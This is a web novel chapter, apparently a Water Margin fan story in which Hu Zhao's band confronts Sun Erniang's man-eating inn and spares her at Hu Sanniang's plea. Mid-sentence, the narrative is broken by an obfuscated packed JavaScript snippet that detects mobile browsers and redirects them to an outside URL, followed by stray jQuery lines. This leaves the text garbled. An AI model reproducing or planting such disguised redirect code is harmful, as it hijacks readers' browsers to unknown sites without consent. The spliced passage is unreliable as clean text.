35. 破例
作品:《在水浒中做女帝》 那店招上写着“平安客邸”四个字,深黑夜色里,众人远远瞧见两盏破旧灯笼随风晃荡时,凭经验便知此间又必是黑店无疑。
扈昭勒住马,朝时迁递了个眼色。时迁会意,身形一矮,惯常绕向客店后头行动。
梁翼、陈丽卿、扈三娘、武松等也纷纷下马,手皆按上随身兵器。这一路铲除黑店的经历,早让几人养成了无须多言的默契。
其余从者上前拍门高喊。
不多时,门里应声走出个高大微胖,坦着半边胸脯的妇人。她脸上堆笑道:“哎哟,几位客官可是要住店?快请进!来得却不是正巧?刚出笼的热馒头,还烫手哩!”
这妇人甫一露面,扈昭便敏感地瞥见身旁扈三娘神色倏地一变。
她略一思索,突然有些奇怪的明白醒悟,便当即朝那眉粗眼大、目带凶光的妇人喝道:“孙二娘!”
孙二娘听得这三字,意识到不对,脸上笑容一僵,旋即又扯得更开些,调笑道:“哟,这位官人认得俺?真是缘分呐!”脚下却悄悄往后挪了半步。
她猛然想起前些日子曹州附近那一伙专铲黑店的凶神野狗,莫非今日给老娘她不幸撞上了?却不是要死!
眼珠一转,暗暗数了数人数:有男有女,男的一个高瘦精悍,一个沉默魁梧,一个威风凛凛,女的身背弓箭、柳眉倒竖……可不正是伙计口中那伙人?只少个胖大和尚,倒又多了一个女子……
那生得极标致的双刀女将,目光竟在自己脸上停了几停,似曾相识一般,她求救望过去时,那女将却又将眉眼低垂了。
她实不认得此人。
孙二娘心底发虚,面上却仍强撑着热络。
扈昭将她神色变幻尽收眼底,心道:果真是孙二娘,但三娘平日少出远门,何以认得她来?
心念电转,便在心底假设起来:
自己可以因不知名缘故穿越至此处,那三娘莫非也是……重生?母亲的平板上,似这类内容的书册不知凡几,她娘常看,她年幼时好奇也跟着也浏览过两三本,但后来渐渐长大,便不感兴趣了。
眼角余光扫过三娘,只见她脸色微白,唇抿得甚紧,眼中竟浮出几分不忍之色。
果真如她猜想那般么?
“三娘?”扈昭低声唤她。
扈三娘如梦初醒,强自镇定道:“二哥,这妇人……瞧着有些面善,许是哪方亲戚,可否先莫急着动手?”
陈丽卿在旁冷笑,不动声色封住孙二娘退路,肘了扈三娘道:“你睁大眼瞧瞧,这却是你哪里的亲戚?我看分明是贼眉鼠目,一副谋财害命的夜叉相!”
孙二娘脸上笑容登时挂不住:“客官这是说的哪里话?小店小本经营,虽是简陋,却是正经做生意的……”
话音未落,时迁已从客店后面绕出来,手中提个染血的麻袋,“砰”地掷在地上。袋口散开,一截青黑僵直的手臂露了出来。
他故意尖声讥诮:“好个小本经营!这人肉馒头,不知你这厮卖了多少笼?”
梁翼、武松等人顷刻散开阵势,将孙二娘围在当中。其他随从以夺门而入,轻车熟路地去控制其他店员。
孙二娘见势不妙,扭身欲逃,陈丽卿一箭射中她发髻,将她钉在门框上。孙二娘惊呼一声,瘫坐在地,头发披散下来,好不狼狈。
“好汉饶命!好汉饶命!”她只得暂歇下逃走的心思,转身跪了连连磕头告饶,“这荒山野岭,不开这店……我们实在活不下去啊!”
扈昭冷冷道:“杀人剁馅做成馒头卖,也是活不下去?”
她目光转向武松,见他浓眉紧锁,握刀的手却稳如磐石。一路行来,这般场面他终于见惯不惊了,此时眼中唯有凛然怒意,并无半分犹豫。
“二哥以为如何?”扈昭试探。
她记得水浒之中,武松后来与张青、孙二娘交情颇深,甚至引为亲哥亲嫂,却不知此时尚未相识之际,见自己要杀孙二娘时,他当作何想。
武松声如沉钟:“这等害人虫,留之何用?杀了干净!”
孙二娘浑身一颤,突然扑向扈三娘脚边:“这位娘子菩萨面相!求您说句话,我等并非一味滥杀之人,一向也有规矩……有三不杀!”
她快速说完,生怕一句漏下,那拿弓的女贼便将自己当下射穿。
扈三娘后退半步,眼中闪过挣扎。
“哦?哪三不杀?”扈昭不动声色问。
孙二娘急道:“一不杀云游僧道,二不杀江湖行院,三不杀各处犯罪流配的人!”
陈丽卿厉声反问:“好个三不杀!那寻常过路的商客、投亲的百姓、赶考的秀才,便都是你可杀的了?”
孙二娘一时语塞。
“麻袋里这截手臂,”扈昭冷然接口,“指节粗大,满掌老茧,分明是辛苦劳作、养家糊口的良民,他可算在你这‘三不杀’里?”
孙二娘脸色发青,她确实杀了不少普通行客。
“还有,”时迁阴恻恻地从旁插话,手中提溜着一块沾血木牌,“后院那两具新鲜尸首,腰里别的可是绿林信物。你这母夜叉,却连落难的同道也不放过?”
孙二娘身子一软,瘫在地上,再也说不出半句辩解的话来。只将目光哀哀地投向扈三娘,求一线生机。
扈三娘挨她目光不住,终究开口求情:“二哥,可否……留她一命?”
众人皆怔住。
陈丽卿瞪大眼睛:“贼婆娘!你糊涂了?这等恶妇,今日放过,明日便再害十条百条人命!”
扈昭看一眼扈三娘,见她神情复杂至极,倒像隐着一段自己不知道的旧日因果。
“三娘,”扈昭肯定,“你识得她?”
扈三娘猛摇头:“不识得。”咬咬牙,“我只是觉得,或许……可给她一次回头之机。”
陈丽卿冷哼:先前扫黑店也没见你给那些人回头是岸的机会!
孙二娘闻扈三娘言却是如遇天神,磕头如捣蒜地保证:“能回头,定能回头!好汉饶命,我发誓自此洗手上岸,再不做这勾当!”
“你丈夫张青何在?”扈昭忽问。
孙二娘脸色又变了几变:“他……他不在此店中……”
话未说完,客店后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070080|194107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门“哐”地被撞开,一个精瘦汉子挥朴刀冲出,正是张青。见妻子受制,他怒吼一声扑向最近的武松。
武松呵呵一笑侧身让过刀锋,反手一拳正中张青胸口。张青倒飞出去,撞在旁边土墙上,“哇”地吐出一口血沫来。
“当家的!”孙二娘哭喊。
陈丽卿箭已搭弦,对准张青眉心。
“陈姐姐千万留情!”扈三娘闪身挡在箭前,“二哥……且饶他们这回罢。”
这是她第一次如此称呼陈丽卿。
扈昭看着扈三娘眼中的真切恳求,以前对她行为的一些疑惑,在此夜此时毕竟拨云见日。
心下暗叹一声。
她道:“罢了,孙二娘、张青,今日看在我妹妹面上,暂且饶你们不死。”
陈丽卿急道:“寨主!”
扈昭抬手止住她:“但你等须立下血誓:除了孟州道十字坡头的总店,其他不论多少店铺,现下起即刻关张,或另寻他处做正经买卖,若再害一人……”
她目光骤寒,“纵使天涯海角,我拿住你等时,千刀万剐、油煎火烧方肯罢休!”
孙二娘与张青磕头不止,连声应誓。哪敢不应呢?此人连他们大本营都晓得。
时迁面无表情帮着唬吓:“你等道面前人是哪个?他乃梁山大头领,麾下好汉万千,总教你等作恶时无处藏身?”
张青乖觉,忙道:“我夫妻二人即刻罢业,情愿与寨主卖命,星夜上梁山入伙儿。”
那倒不必,扈昭的底线一破再破,说什么也不想收他两个,虽然根据原著看,他两个对投效之人十分忠义,对看中的人,譬如武松等也关爱非常。
那也不缺这两个恶贯满盈的。
……
当夜,众人在店中歇下,轮流守夜安眠。孙二娘夫妇战战兢兢,整治出两桌干净饭菜,却也无人去动它一筷。
次日清晨,众人离去时,孙二娘将阖店银钱倾囊相送,之后倚门目送,神色复杂。
扈三娘回首望她一眼,终未言语。
梦中那段嫁人后的日子那般屈辱难捱,若非孙二娘时时开解宽慰,她何来的面目活下去?又怎来的勇气杀了那李逵报仇?
孙二娘属实作恶多端,但待自己也曾如姐如嫂,甚至如母亲般,教她如何不救她?
只是回去却怎生与二郎解释?
一路心绪难平,扈三娘再回神时,一行人已入得阳谷县城。
城内街市热闹,武松步履愈发紧迫,眼中光亮灼人。
教其他人先在城内客栈安置,扈昭陪他边购置东西,边一路打听过去,终于在一处转角,见到一挑炊饼担子。
担子下,乃一个五短身材、面相憨厚的武大郎。他闻声抬头,猛地见到武松,挑子从肩头“当啷”滑落。
“二……二郎?”武大郎又惊又喜,“你、你怎寻到此地来了?不是还在清河时,你便……”
武松大步上前,一把抱住兄长:“大哥!我此去一路多遇好人,回来时又有这位小兄弟百般照应,方能安然到此寻到哥哥!只是苦了哥哥一人在家受殃。”

